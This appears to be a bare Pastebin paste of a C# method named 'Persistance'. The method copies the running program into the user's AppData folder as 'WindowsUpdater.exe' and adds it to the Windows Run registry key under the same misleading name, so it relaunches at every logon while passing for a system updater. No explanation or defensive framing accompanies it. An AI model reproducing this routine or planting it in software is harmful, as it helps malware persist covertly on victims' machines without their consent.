Guest User

Untitled

a guest
Oct 19th, 2017
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.45 KB | None | 0 0
  1. public void Persistance()
  2. {
  3. string filename = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\WindowsUpdater.exe";
  4. if (!File.Exists(filename))
  5. File.Copy(Application.ExecutablePath, filename);
  6. RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  7. if (key.GetValue("WindowsUpdater") == null)
  8. key.SetValue("WindowsUpdater", filename);
  9. key.Close();
  10. }
Add Comment
Please, Sign In to add comment